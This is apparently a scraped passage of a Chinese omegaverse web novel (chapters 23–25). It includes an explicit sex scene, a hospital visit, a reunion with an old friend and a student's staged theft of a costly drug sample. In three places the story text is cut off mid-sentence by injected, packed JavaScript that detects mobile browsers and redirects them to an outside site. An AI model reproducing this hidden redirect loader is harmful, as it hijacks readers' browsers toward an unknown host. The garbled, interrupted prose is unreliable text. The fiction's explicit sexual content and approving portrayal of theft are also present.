数值消失的瞬间,脑中紧绷的那根弦骤然断裂。 泽诺双手环胸,气呼呼地控诉道:“知道我不舒服,为什么不早点回来?你知道……!” 尖叫碾碎在强烈的快感中,脚趾蜷缩,勾住身下的床单。 眼睛被身后的人紧紧捂住,牙齿轻轻啃啮。 见他反抗,便重重地咬了下去。 带着惩罚意味的啃咬不见半点怜惜,狠劲儿在皮肤上蜿蜒出一道道青紫色的痕迹。 泽诺被高高抛起,但在到达顶点之前总会有人把他拉回地面。 眼睛看不见,身体上的触感更加明显。 黑暗中,只有鸢尾花的气息在身后弥漫,藤蔓一般,收紧、缠绕,攀沿而上,深入内里。 身体受omega原始本能控制,烫得厉害,脑袋里像塞了一团棉花。 闻鸢捏着他的后颈,一把将他按回枕头。 眼角渗出几滴泪水,眼尾泛着红,乖得不像话,看起来很好欺负。 指骨狠狠收紧,心中的凌||虐欲愈加膨胀。 但不管内心如何汹涌澎湃,闻鸢面上仍旧理智得可怕。 他的唇如同春日的花瓣。 两片花瓣透出一条缝,指尖就顺着缝挤进去。 起初泽诺有些抗拒,因为闻鸢从来没和他玩过这个,但随着搅动得越发剧烈,他便放开了。 花瓣卷住手指。 口涎沾染在唇角,他乐此不疲,迎上来。 闻鸢冷静地看着他动情的样子,“好玩吗?” 泽诺迷糊地看向她,眼睛里蒙着一层水光,似乎不明白这句话的意思,也不理解她为什么要停下来。 他有些亲昵地蹭了蹭她的手指,歪着头重复她说的话:“好玩?” 闻鸢满意地点头,低低轻笑起来,脸颊终于带了温度。 空气中的鸢尾花香都带了点愉悦的气息。 泽诺也很开心,因为鸢尾花将他全身包裹得很舒服,似乎只要能取悦闻鸢,他腺体中的胀痛就能缓解。 他嘬着嘴,抬眸盯着闻鸢,试探般地说道:“好玩。” 闻鸢呼吸顿了顿,脸颊肌肉紧绷,她用空余的手捏住他的下颌,迫使他抬脸,“再说一遍。” “好玩。” 血液在身体里嚎叫,闻鸢发现自己有点无法自控。 “好乖啊,泽诺。”她用手蹭了蹭他的脸颊,眼里满是喜爱和怜惜。 “今天这么乖,是不是应该给奖励呀?”他贴着她温暖的手掌,顺着掌心的纹路一直蹭到手腕。 狂乱的心跳透过皮肤传到指尖。 闻鸢没有说话,只是将泽诺翻了个面,动作急促,但并不粗暴。 她并不是暴躁的主人,听话的小狗值得被好好对待。 泽诺柔韧性很好,小时候他上芭蕾课,闻鸢帮他压腿,他从不喊疼。 但可能是因为越来越娇气的缘故,他疼得受不了,问到底什么时候结束。 闻鸢软了声音哄他,说马上就好,但却像个骗子一样,一直没有叫停。 这不能怪她。 这一次鸢尾花信息素破天荒地活跃,泽诺被安抚得很好,但安抚过程太长,他累得睁不开眼睛。 他将手指放在肚皮上,思绪飞得很远。 如果他给闻鸢生个孩子,那孩子会长得更像他还是闻鸢? 会有蓝色眼睛,黑色的头发吗?会和闻鸢一样笑起来有个虎牙,左颊在不经意间露出一个小梨涡吗? 这些都是未知数,但有一点他很确定。 无论是那个孩子是omega,alpha,还是beta,都会得到爸爸妈妈毫无保留的爱。 一双温热的手臂揽住他,泽诺下意识地攀上她的肩膀,便听见女beta沙哑的声音低低响起。 “水放好了,我抱你去洗澡。” 她的动作熟稔轻柔,温度适宜的水包裹着他,让他昏昏欲睡。 身体乳被均匀地涂抹在皮肤上,泽诺在柔软的丝绸被单中陷入深眠。 闻鸢不知道泽诺心里的小九九,她一沾到床就立刻睡着了,再次醒来已经是第二天正午。 她猛地抬头,下意识查看时间,却发现今天是周六,不用去上课。 动作惊醒了泽诺,他眼睛还没睁开,就滚到她身边,嘴唇贴了上来。 轻吻一触即分,闻鸢将他额前的碎发拨到脑后,哑声道:“有没有哪里不舒服?” 泽诺迷迷糊糊地摇头,须臾又靠在闻鸢颈边睡着了。 他赖床到下午才起来,闻鸢建议他待在家里休息,可他非说禁足期家里已经待得够烦了,想出去走走。 闻鸢不知道他有什么可烦的,毕竟他家大得能迷路,附近还有马场供他消遣。 但既然少爷想要出去,闻鸢自然不会吃多了跟他唱反调,只能鞍前马后地为他保驾护航。 抑制贴、颈环要多带几个,抑制剂更是塞了满满的一沓。 有赵琰的前车之鉴,她连医用阻断剂也没有落下。 装备齐全,闻鸢从地库开出他的爱车,准备上路。 “去哪儿?” 闻鸢扭头看刚刚上车的泽诺,后者熟稔地拉下车载化妆镜,检查自己的妆面。 捻去下眼睑的一根睫毛,他没回头,淡淡说了句,“赵琰在康泰医院住着,先去看看他。” 闻鸢挑了挑眉,觉得有点好笑。 赵琰和他的友情还真是值得玩味。 要说关系好,他的表情很淡漠,像要去完成任务一样无关痛痒。 要说不好,那泽诺绝不会拖着易感期的身体去看望病号。 所以只有两种可能。 要么就是念着赵家和奥兰德家的合作关系,要么就是抱着看戏的心态去听赵琰的心碎情史。 闻鸢猜两者皆有,而第二种可能占比更高些。 毕竟赵琰订婚后没少炫耀未婚妻,并借此拉踩泽诺和闻鸢的关系。 很棒的塑料友情,像在沉浸式体验狗血电视剧。 这种狗血感在看见赵琰无法进食,讲一句话咳三下的时候达到顶峰。 气若游丝的omega仿佛吊着最后一口仙气在跟好友说话,脸颊苍白得活像吸血鬼。 但即使这样,他仍然挂着微笑,像朵坚强的小白花。 闻鸢简直要质疑自己的医学素养,毕竟信息素失调症并不是什么绝症。 在使用阻断剂之后,正常omega第二天就可以下床。 即使omega体弱无法痊愈,也不会是这副行将就木的模样。 医学生闻鸢不信邪,拿出手机,点开搜索引擎查证。 须臾后她发现腺体医学似乎不能解释赵琰的症状,于是她又点开赵琰的论坛账号。 三天可见的设置,他却置顶了三条住院vlog及小作文。 评论区成分复杂,一部分是心疼giegie的粉丝,另一部分是痛骂乔之瑜的毒唯,还有一部分是凑热闹的乐子人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904782|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三足鼎立,可谓真三国。 闻鸢观赏了一下他的病照。 可能是开了滤镜的缘故吧,照片比他现在这副样子阳间多了。 清晨的第一缕阳关洒在他脸颊上,他抱着一束向日葵,闭眼轻嗅,一幅岁月静好的样子。 但就是这副坚强柔弱小白花模样,再配上引导性文案,校园论坛就像被点燃了的炸弹,到处刀光剑影。 已经有不少帖子开始起底乔家的商业帝国,甚至开盒乔之瑜本人。 闻鸢看了看始作俑者,福至心灵,突然有了猜测。 虽然荒谬,但在赵琰身上又十分合理。 他应该是想通过装病来博得大家的关注和同情。 至于动机,闻鸢不感兴趣,也不想知道。 天龙人有一套独特的思维,反常理,反直觉,但始终以自我为中心。 别人还在心疼赵琰生病了住院了,但不知道赵琰住的病房是一整个豪华大平层。 两室一厅,一厨一卫,附带一整个家政和医疗团队。 比起他,闻鸢更关心昨天被打破头的alpha小哥。 毕竟人家脑袋上被划拉出那么大一道豁口,缝针首先没得说,其次乔之琮那个智障又耽误了人家的送诊时间,弄不好还留下点后遗症。 瞧,最终还是打工人承担了所有。 闻鸢在一旁神游天外,泽诺和赵琰这对塑料闺蜜有一搭没一搭地聊些废话。 毫无营养,基本就是赵琰一人自说自话,为他失败的感情强行挽尊。 “我们从认识到订婚实在太快了,或许当时是信息素作祟吧。” 他欲语还休地看了泽诺一眼,抽噎了一下,却死活挤不出眼泪。 “她说我们可以分开一阵冷静一下,整理整理思绪。” “我知道她也是为我好,只是我当时太冲动了。后来想想,并不是爱不在了,而是我需要时间来审视内心这份感情。” “阿瑜之前没有感情经历,不知道怎么爱人,所以我会慢慢教她。” 他这段话说得弯弯绕绕,毫无重点可言,但翻译成人话,大概就是: 乔之瑜甩了他,但赵琰认为她是出于爱才会这样做,并且妄想教会乔之瑜如何去爱。 对此,闻鸢做出以下评价: 矫情。 说话矫情。 内心矫情。 动机矫情。 可谓是矫情界的集大成者,没有赵琰的矫情剧就是无源之水,无本之木。 八点档狗血编剧应该专门开个研讨会学习一下他的矫情台词。 赵琰抬眸,露出一个标准的虚弱美男微笑,虚弱的弧度少一丝或者多一分都不会出现我见犹怜的效果。 脑袋缓缓冒出一个问号,闻鸢环绕了一下病房,发现此处并无摄影机。 那他这幅模样是在……? 专门演给他们俩看吗? 鄙人不才,受宠受宠! 闻鸢见过很多表演型人格障碍患者,但赵琰是唯一一个不用测试就可以直接下临床诊断的人。 相比于闻鸢的大惊小怪,泽诺就平静很多。 他望着赵琰嘴唇上没来得及铺匀的浮粉,神情带着罕见的温柔体贴,甚至可以说是关怀备至。 “别担心,她那么爱你,你们信息素又很适配,最后一定能走到一起。” 他像善解人意的好闺蜜,吐出来的每句话都很好地照顾到了对方的情绪需求。 赵琰娇羞又带点小骄傲的表情就像是被员工拍到马屁的老板。 “这样的爱,你们大概不会懂吧……” 0人想懂。 不过既然话都说到这里,闻鸢用脚趾头都能想到矫情哥接下来要干什么。 大概就是超绝不经意间炫耀他和乔之瑜的绝美爱情。 当然,是他臆想中的绝美爱情。 不过他刚启唇,泽诺就握住他的手,从根源处断绝了他的长篇大论。 “嗯嗯,我懂的。那从你住院到现在,乔之瑜有没有抽空来看你?” 一句话拿下本场MVP。 嗯嗯,你懂的,你是真的懂什么叫杀人诛心。 原来你小子听那么久都没烦就是为了等这一刻? 闻鸢憋笑憋得嘴唇都在颤抖,她抬眼,毫不意外地看见了赵琰扬起一个僵硬却不失礼貌的微笑。 笑中带怒。 24. 第 24 章 大概是谎言被戳破的缘故,赵琰皮肤下浮起一层淡淡的粉,这才让他像个活人。 不过活人要么想死,要么想弄死别人。 譬如现在,他盯着泽诺状似关切实则暗爽的表情,恨不得将头顶那瓶生理盐水扔到他脸上。 当然他也只是想想,因为这瓶生理盐水是他特地要求护士给他扎上的,因为他坚信乔之瑜会来看他。 可是他从早上待到下午,没等到她的一个电话,却等到泽诺这个不速之客。 疼痛和酸涩一齐向心脏蔓延,赵琰看着泽诺容光焕发的妆容,手指缓缓捏紧床单。 “我不想让她担心,就没告诉她。” 都快哭出来了,还嘴硬呢。 从闻鸢的角度,她能清晰地看到赵琰快速眨动的睫毛,像一只拼命甩掉露水的蝴蝶。 泽诺会意一笑,拍了拍他的手背,似乎有点疑惑:“可我看到你在社交平台上发了很多照片,她看不到吗?” 天真的语气,带着点阴阳。每一字每一句都产生了钝刀割肉的痛感。 他似乎缺乏一点怜悯心,也不知道什么叫见好就收,仿佛要把从前吃过的哑巴亏全部拿回来。 赵琰的胸膛剧烈起伏着,心脏监测仪图像从一座座小丘变为陡峭的山峰。 他想甩开泽诺的手,却被他紧紧按在床单上,动弹不得。 于是他抬起脸,固执又愤怒地盯着他,却敢怒不敢言。 泽诺眯了眯眼,对他这副窝囊样十分受用。 以前不是很狂吗?不是叫嚣着AO天作之合明着暗着嘲讽他和闻鸢的关系吗? 现在变成这副卑微的样子又怪谁? 简直是自作自受,可笑。 双唇抿出一个刻薄的弧度,海蓝色的眼睛氤氲着愉悦,像在俯视一只濒死的蚂蚁。 他脑中闪过很多伤人又尖刻的话语,最后却听到闻鸢轻轻叹息了一声。 她手掌的温热通过抑制贴传到腺体,周围的肌肤掀起一阵酸麻。 “好了,探视时间差不多到了,不要影响病人休息。” 闻鸢捏了捏他的后颈,示意他不要再继续刺激赵琰。 泽诺回头,露出不满的神情,闻鸢用指节蹭了蹭他的脸,缓缓对他做了个口型: 得饶人处且饶人。 再继续下去,赵琰没病都会被泽诺气出病来。 到时候又得是她这个打工人背锅写检讨,吃力不讨好。 “外面天气不错,一起出去走走?” 闻鸢拉着他走出病房。 下午阳光正好,丰茂的榕树树冠是天然的遮阳伞。 长椅之上,泽诺趴在闻鸢腿上,任由她撕开抑制贴检查腺体。 光斑洒在眼皮上,晃得他不舒服,他干脆拧过脸,将头埋到闻鸢衣服里。 软纱质地轻柔,贴在脸上晕着丝丝凉意,像夏季突如其来的阳光雨。 鸢尾花带着安抚人心的木质尾调,渗入毛孔,抚平了易感期萦绕不散的刺痛。 一支针剂下去,泽诺额上出了不少汗,他微微喘气,唇舌干燥难耐。 闻鸢在低头检查他的颈环,动作认真,算得上一丝不苟。 指尖攀上她的脸,在她唇瓣上流连。 闻鸢顿了顿,便看到他潮红的脸颊和晕着欲色的蓝眼睛。 “去车上。”他要求道。 闻鸢起了玩心,故意没听懂他的题外话,“不在外面晒晒太阳吗?” 蓝眼睛暗了暗,他喉结微动,声音不慌不忙道:“你想在外面?也不是不可以。” 说罢,没等闻鸢反应,他便揽住闻鸢的后颈,迫使她低头吻了下来。 热潮刚过,双唇烫得惊人,连着刚刚那句语不惊人死不休的话,把闻鸢吓得有点应激。 他像撒气一样吻着她,霸道且毫无章法,闻鸢顺着他的意思,慢慢安抚。 舌尖贴紧又分开,牙齿恶劣地磨着她的下唇,咬出一个牙印。 玫瑰信息素带着火热的温度,将他脸颊蒸得粉嫩鲜活,像只成了精的桃花妖。 可桃花妖只顾着自己爽,根本没考虑到闻鸢保持这种逆天姿势接吻究竟有多困难。 尤其她还是一个有颈椎病的苦逼医学生。 闻鸢还记得体育课做头部运动的时候,她的颈椎就像卡壳的发条一样嘎吱作响,活像个百年老僵尸。 微死90%的她趁头还没断之前立马直起身,眼疾手快地将他抱起来,用尽全身力气跑到停车的地方。 开门,扔人,上车,关门,一气呵成,仿佛在挑战什么吉尼斯世界纪录。 在车上厮混了一小时之后,泽诺终于累得趴在后座直不起身。 闻鸢在他身旁缓了一会儿,抬手揉了揉自己酸痛的手腕。 手机响起信息提示,一条新信息弹出来。 【裴昭明】你的手链落我这里了。[图片] 闻鸢后知后觉地翻了翻身上的口袋,却只找到了那天的打火机。 看来是掏打火机的时候不小心掉出来了。 她回头看了眼熟睡的泽诺,转头在手机上按下回复。 【闻鸢】晚些我来找你,你有空吗? 对方几乎秒回。 【裴昭明】来这里找我。[地图导航:玛莎收藏馆] 闻鸢点开,发现这个收藏馆离长岛不远,大概就是20分钟的车程。 所以她先将泽诺送长岛,趁他熟睡之际再驱车去拿手链。 一天天的,日程安排得跟总统没两样,区别就是总统有一帮子人前呼后拥,而她只能默默在日历上添加一个“去拿手链(争取1h搞定)”的事项。 前途真是一片完蛋。 而在看到收藏馆门口那两只趾高气昂的水晶狮子时,闻鸢突然觉得,自己这破日子不是完蛋,简直是可笑至极。 身穿灰色制服的工作人员引导她走过展厅。 掠过一幅幅或复古或抽象,或昂贵或更昂贵的艺术品时,潜藏在她骨子里的小市民仇富心理就像可乐刚开盖时那股按捺不住上窜的气泡,咕噜咕噜地顶到胸口。 “裴先生已经在里面等您了。” 工作人员微微弯腰,培训过的笑容简直难以挑剔。 闻鸢盯着门口那块“馆长”牌子,眉梢神经质般地抽动了两下。 人生赢家啊——白天当馆长指点江山,晚上搞副业风生水起,鸡蛋不仅不放在一个篮子里,还他爹的每个篮子都镀了金! 闻鸢承认自己有点酸,可能最近老坛酸菜面吃多了。 啧,说起来,那破酸菜好像还被记者曝光了…… 活该,这种缺德企业就该跟她的好心情一起烂在坛子里发酵。 anyway,这都不重要。 看到熟人混得好就会变身酸菜鱼,这是每个人都具备的美好品德,闻鸢只不过是其中的佼佼者罢了。 她打开门,被裴昭明的打扮狠狠闪到了眼。 物理意义上的。 白色衬衫做了深V处理,领口缀着镂空蕾丝,露出的肌肉紧绷而富有光泽,还打了一层闪粉。 V形蓝钻项链缀着许多贝母和珍珠,从胸口一直蜿蜒到腹部。 这是在作甚? 下班直接转场去夜店当牛郎吗? 原来他业务面这么广。 闻鸢大受震撼,内心的讥酸被全然的敬佩所替代。 能屈能伸,可谓大丈夫也。 小女子失敬失敬。 见她站在原地瞪着自己,裴昭明撑开双手,十分大方地任由她打量。 “晚上有个聚会。”他解释道。 闻鸢点点头,恍然大悟了一下,“哦,原来你要去当人形聚光灯?” 嘲讽时间到! “……不会夸可以滚。” 裴昭明冷飕飕地瞟了她一眼,嘴角咧出男鬼般的笑容。 您的嘲讽技为对方带来0点伤害。 闻鸢随便拉开一个椅子坐下,还给自己倒了杯水。 “你还真是一点儿都不见外。” 裴昭明在她面前坐下,项链挂在脖子上丁零当啷的,让她想起以前挂在他家门口的贝壳风铃。 “自给自足罢了,”她晃了晃手上的玻璃杯,“不劳馆长动手了,否则我得渴死。” 她坐在扶手椅上往后靠,高密度海绵填充物回弹性极强,舒适得让她打了个哈欠。 她扭头,在他办公室的左墙上看到了一幅巨型神女画像。 头戴水滴宝冠的神女悲悯地低头,望向苦海中挣扎的芸芸众生。 闻鸢没什么艺术细胞,能注意到这幅画,并不是因为它缥缈出尘的笔法和精彩绝伦的构图,而仅仅是因为泽诺房间里同样也挂着类似的画像。 听说那是约顿给泽诺挂上的。 凭借未被电子产品侵害过的眼睛,她看清了画下的小字。 “蒂亚娜女神。*”她不自觉地念了出来。 裴昭明看她感兴趣,介绍道:“那是北境的宗教画像,我从一个行商手里淘来的。” 北境是联邦的特别行政区,因为信仰宗教,且邻国战争不断,成立以来就一直享受高度自治权。 啧,约顿好像就是北境人来着…… 不过在家里他也不做祷告,饮食方面也没有任何禁忌,除了瞩目的金发之外,看起来就像个原装联邦人。 她又想到,十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904783|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年来约顿似乎从没回过北境,而北境那边也从未派人前来探亲。 难道他和家里人断绝关系了? 左想右想都很怪。 无论是艾薇还是约顿,他们的家族历史就跟被抹除掉的绝密文件一样,她一点儿都不知道。 “你的手链。”裴昭明从抽屉中拿出手链。 鸢尾花手链跟他胸前的大钻石对比起来简直相形见绌。 闻鸢伸手,掌心朝上,示意他把手链放进掌心里。 可惜裴昭明并不是这么理解的。 他走近,解开手链,环住她的手腕,亲自为她戴上。 “金属接口有点磨损了,我找了人换了一下。” 扣子发出微小细碎的声响,他低垂的睫毛在灯光下投出细密的阴影。 眼前人专注的神情与记忆里的少年重叠 ——那时的裴昭明,也是这样抿着唇,在烛光下为她编红绳,生怕系错一个结。 闻鸢生在闰月,下城区居民迷信,认为闰月生的孩子身弱,所以经常给自己的孩子编红绳挡灾。 闻鸢他爸虽然是个大老粗,但还是跑去神婆那里求来几根红绳,囫囵编了一条给闻鸢。 当时她戴着那根歪歪扭扭的红色面筋跑到裴昭明家玩,当即遭到他的嘲笑。 下城区晚上九点之后就停止供电,昏暗的房间中,他的脸在烛光下忽明忽暗,笑声格外清朗。 他一边笑,一边将她的手绳拆下来,一步步告诉她要怎么编。 闻鸢听得直打瞌睡,睬都没睬他一眼,直接趴在桌子上睡大觉。 醒来就得到了一条崭新的手绳,比地摊上卖的精致多了。 闻鸢说幸好他没去摆摊,不然整条街的老婆婆都得抱着箩筐哭回家。 烛火在玻璃罩里轻轻跳动,他的眼睛弯成一泓细细的月牙,月牙中心闪着细碎的光。 漂亮细长的桃花眼微微上挑,眼尾泛着淡淡的红,像是被烛火熏染的,又像是天生就带着这样一抹艳色。 “好了。” 他站起来,宝蓝色钻石不时晃动,周围的碎钻在灯光下折射出深浅不一的光晕。 笑意在唇边停留得恰到好处,却始终未达眼底,仿佛华美珠宝下裹着另一副真正的躯体。 闻鸢收回手,却听见他随意问道:“男朋友送你的?” “不是。” 她否认得很快,惊诧的神情像在质询裴昭明为什么会得出这种荒谬的结论。 裴昭明耸耸肩,复杂的笑意在眼底一闪而过,“手链上刻着他的名字。” “泽、诺。”裴昭明一字一顿地说道。 闻鸢低头瞥了一眼那行小到几乎可以忽略的刻字,心想一个在礼物上暗戳戳留记号,一个能精准捕捉到这种细节,两个男人在某些方面倒是出奇地相似。 都一样难评。 “是奥兰德集团的那位少爷?” 迎着裴昭明灼灼的视线,闻鸢心不在焉地回了句:“是他,但我们只是普通朋友。” 只不过是偶尔亲嘴睡觉的普通朋友罢了。 手机震了震,估计是泽诺醒了在找她。 鉴于家里有只睡醒就要找主人的小狗,闻鸢不打算在这里多聊。 尽管她也很想问问裴昭明究竟还有什么副业,能不能让她参与进去分一杯羹。 但这种不要脸的话闻鸢还是决定留一留,先打听好对方底细再说。 万一他眼睛一亮当场应下,然后把她打包送到beta女郎店,这波怕不是要血亏到姥姥家? “我还有事,先走了。” 闻鸢潇洒地向他摆摆手,仿佛是个分分钟几百万上下的忙碌资本家。 几百万上下虽然有点夸张,但她确实比资本家还要忙。 坐上车准备启动,唐钰一个电话打过来,闻鸢太阳穴开始隐隐作痛。 “师姐,”她的声音不出所料地带着常有的忐忑,“一个好消息一个坏消息你想听哪个?” 这句话像在问她先吃糖还是先吃史。 “先说好的。” 先吃史再吃糖,吃的就是史味的糖,这样有损糖的风味,所以闻鸢决定先吃糖。 “弄混的试剂搞清楚了,实验可以继续。” 很中听的消息,她喜欢。 “坏的呢?”闻鸢愉悦地扬起嘴角,对前方的史不屑一顾。 心头大患已除,再坏又能…… “那个首都青少年科技大赛,我们连初赛都没入围……” ……坏到哪里去呢? “呵,”闻鸢低头轻笑,露出绝望中年人面对绝望世界常摆出的绝望笑容。 真是坏到姥姥家啦! 25. 第 25 章 青少年科技竞赛。 顾名思义,是针对18岁以下的未成年人设置的比赛。 因为获奖能拿到名校推荐资格,鸡娃的家长闻着味儿就来了。 作为望子成龙的一员,莉娜教授自然希望孩子能在比赛中崭露头角。 于是她让几个本科生为少爷设计一个实验项目并撰写报告。 当然啦,为少爷鞠躬尽瘁是奴才的本责,所以他们是万万不敢多要月例的。 几个人合计了一下,把之前写过的项目论文删删又改改,搓了一篇名为《Y型腺体基因对小鼠健康影响》的研究报告。 交上去的时候闻鸢还很心虚——万一被人看出来怎么办? 青少年科技竞赛嘛,大多都是些装|逼意义大于实际用途的东西。 他们这种带着专业术语和基因图谱的研究报告,在一堆用醋泡鸡蛋的“科学实验”里格格不入。 可闻鸢万万没想到,这场比赛不是走过场的青少年科普秀,也不是每人都能水个奖杯回去。 这是刀光剑影的资源争夺赛,是暗流汹涌的代理人战争。 站在闻鸢面前的参赛者不是那些小孩,是小孩背后的父母,是被他们父母压榨的、和闻鸢一样的苦命牛马。 那些人可能也来自联邦著名的大学,或是华大,也有可能是燕大。 他们寒窗苦读,希望有一天能出人头地,于是像根钉子一样扎进知识里。 可他们不知道,钉子的宿命就是被时代的大锤锤进狭窄的小孔,用自身的血肉喂养整台机器。 等他们老了、干不动了,会被资本家冠以“懒惰”的名头,然后跟过期培养皿一样被批量淘汰。 太他爹的幽默了。 闻鸢看着初赛入围名单,蓦地笑出声来。 《基于闪烁探测器的β能谱测量方法探究》 《关于可控核聚变装置壁材料钨在氨离子注入下力学性能退化行为的研究》 《银道面附近形成中大质量恒星周围氢元素的密度分布规律》 …… 这是在干嘛?在争诺贝尔奖吗? 复杂的术语和显然超过初中生水平的实验设计,让她觉得整个世界都是一场巨大的骗局,而她是搞笑的小丑。 照这种水平,即使她把毕业论文原封不动地交上去都不会入围。 相比起来,她的研究才是小打小闹。 毕竟本科生处于学术圈食物链最底层,狗路过都能骂两句:“你的创新点在哪里?” 怪只怪老板没做好背调,诺贝尔级别的大赛,就应该劳烦她手下的博士出动。 话说回来,要不是老板点将,她现在兴许还在华大躺平呢。 当然了,帮老板做事也没什么不好,但是躺平对她来说,可以更加海阔天空嘛!* 因为这事,第二天组会,闻鸢被老板狠狠阴阳了半个小时。 但她本人一直是左耳进右耳出的状态,表面痛定思痛emo得不行,实际上电脑屏幕切了又切,把外卖都订好了。 她也是骂人骂上瘾了,要不是沈照及时打断,提醒她后面还有个会,她简直有点意犹未尽。 唉,更年期的alpha真可怕。 “看着我,说话!” 她一记眼刀飞过来,闻鸢默不作声地把X团界面最小化,刚下单的麻辣小龙虾显示正在备餐。 “好的老师,我会改的老师。” 闻鸢举起手,比出一个OK的手势,姿势跟绿泡泡里的表情如出一辙。 闻鸢经常跟莉娜发这个表情,在莉娜看来这表示“ok收到”,但闻鸢的意思却是“弹你脑瓜崩儿”。 实际上,被她压榨过的学生都爱给她发这个表情。 坐在闻鸢后面的师弟师妹想笑又不敢笑,一个个哆嗦得跟鹌鹑似的。 莉娜奇怪地瞥了他们一眼,他们立马正襟危坐,脸上写满“痛改前非”。 趁着她说废话的时候,闻鸢在小群里发了条消息。 【养鼠人的福报】聊天记录 【闻鸢】今日公德+1,因为没把电脑砸在老鼠大王脸上。 【唐钰】师姐英明!(小鼠后空翻.gif) 【师妹A】鼠大王那么生气是因为隔壁米教授的女儿获奖了。(小鼠翘大拇指.jpg) 【师弟B】这能一样吗?那可是米教授亲自代笔!!!(小鼠喝老鼠药.jpg) …… “你们几个,给我好好反省!” 莉娜气势汹汹地拉开门走了,似乎憋着一肚子火。 “没问题,你放北门就好,辛苦辛苦。” 闻鸢接到送餐电话,真情实感,喜形于色。 科研可以输,但午饭必须赢。 中午饱餐一顿以后闻鸢又开始打工,这次主要是处理唐钰捅的篓子。 “之前弄错的药剂是这个?” 闻鸢举起一支浅粉色的试剂管,管身用马克笔标注了“X9”,除此之外再无别的信息。 唐钰点点头,手指攥着衣角,老实巴交地回答道: “当时我在找X9维养素,没仔细核查样品,没想到找错了。” 闻鸢晃了晃管子,液体黏在管壁上,在光线照耀下显得异常粘稠。 也难怪唐钰会找错。 这东西的色泽外表和维养素基本相似,但粘稠度较高,不仔细看还真发现不了。 再加上标签上误导人的“X9”,马虎的人还真会跳进坑里。 “这是什么东西,能查到吗?” “我比对了储藏室的样品登记,这应该是X9腺体修复剂,奥兰德集团新推出的药品。” omega标记清洗手术会对腺体造成一定损伤,而修复剂能促进omega术后恢复。 闻鸢眉心一动,将修复剂放到药箱中,抬眸问道:“这玩意儿很贵?” 常用的修复剂闻鸢了若指掌,然而这款药她闻所未闻。 要么就是贵到令人发指,要么就是临床效果不好。 鉴于奥兰德集团长期标榜业界标杆,药效为行业顶尖,闻鸢自动把原因归为第一种。 果不其然,唐钰撇了撇嘴,露出苦笑,“单只售价一百万星币。” 她摸着自己的小心脏,仿佛在确认那玩意儿有没有在正常工作。 “一百万……幸好是科研专用样品。要让我赔一百万还不如把我杀了。” 唐钰还在心惊胆战,闻鸢的脑子却极快地晃过了实验记录。 无论是哪种修复剂,使用之后都不会产生腺体硬化的情况。 而误用了X9修复剂的小鼠,虽然腺体修复程度达到90%,但持续性发热和腺体硬化却诱发了多种并发症。 是偶然吗?还是受到了其他药剂的影响? 闻鸢盯着那管试剂,眼底晦暗不明。 有意思。 看来她这个月有事可干了。 但要搞清楚真相,那只样品的量肯定不够。 储药室里屯了几只,但一次性拿那么多需要上级批示。 所以…… 她点了点桌面,嘴上抿出一个微笑,漫不经心地说道: “听说你过几天要去储药室帮忙?要不我替你?” 唐钰忙着核对数据,连头都没抬,只连连应声道:“太好了,感谢师姐帮忙!” 不客气,师妹。 礼尚往来,也感谢你给我顺手牵羊的机会。 闻鸢想道。 她背过身去,指尖摩挲着冰凉的试剂管。 白炽灯下,药液在玻璃壁上拖出黏稠的弧光,像极了某种粉红色的诱饵。 她本人并不是什么道德感极强的人,对于规则之类的东西向来也是当面一套背后一套。 有句话说得好,破坏规则的最好方式,就是让别人以为你在遵守它。* 闻鸢将这句话奉为圭臬。 因此在决定偷窃修复剂的时候,她几乎没有道德挣扎。 她很少在这些事上谴责自己的良心,尽管她时常疑惑自己到底有没有那玩意儿。 或许是跟天龙人待久了之后被他们同化了吧。 储药室最近在清点药品,整个部门忙得不可开交。 听说闻鸢顶了唐钰的班,主管人也只是点头应和表示自己知道了,甚至没有检查闻鸢的学生证。 于是闻鸢便抱着一个药筐,大摇大摆地走进储药室。 她装模作样地到处晃悠,表面上是给药品归类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904784|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实际上已经找准了X9修复剂的位置。 分针缓慢地爬过钟面,在数字之间留下不可察觉的移动轨迹。 闻鸢盯着表,像在等着什么。 下午三点整,室内骤然变暗。 “停电了?” “门怎么锁住了?喂,里面的人,听得见吗?” “电子闸门锁住了,打电话给中控室接备用电源!” 闻鸢高声回应外面的人,嗓音中带着些颤抖,听起来像个胆小慌乱的omega。 实际上,她冷着脸,干脆利落地将所有X9修复剂全部藏到衣服内袋,然后从另一个兜里拿出以真乱假的维养素,放到同样位置。 摄像头的红光在三秒之后亮了起来,此时闻鸢拢了拢外套,扭头准备离开。 可脚步在转身看到沈照的时候骤然顿住。 男beta安静地站在距离她五步以外的地方,黑眼珠子一动不动地盯着她。 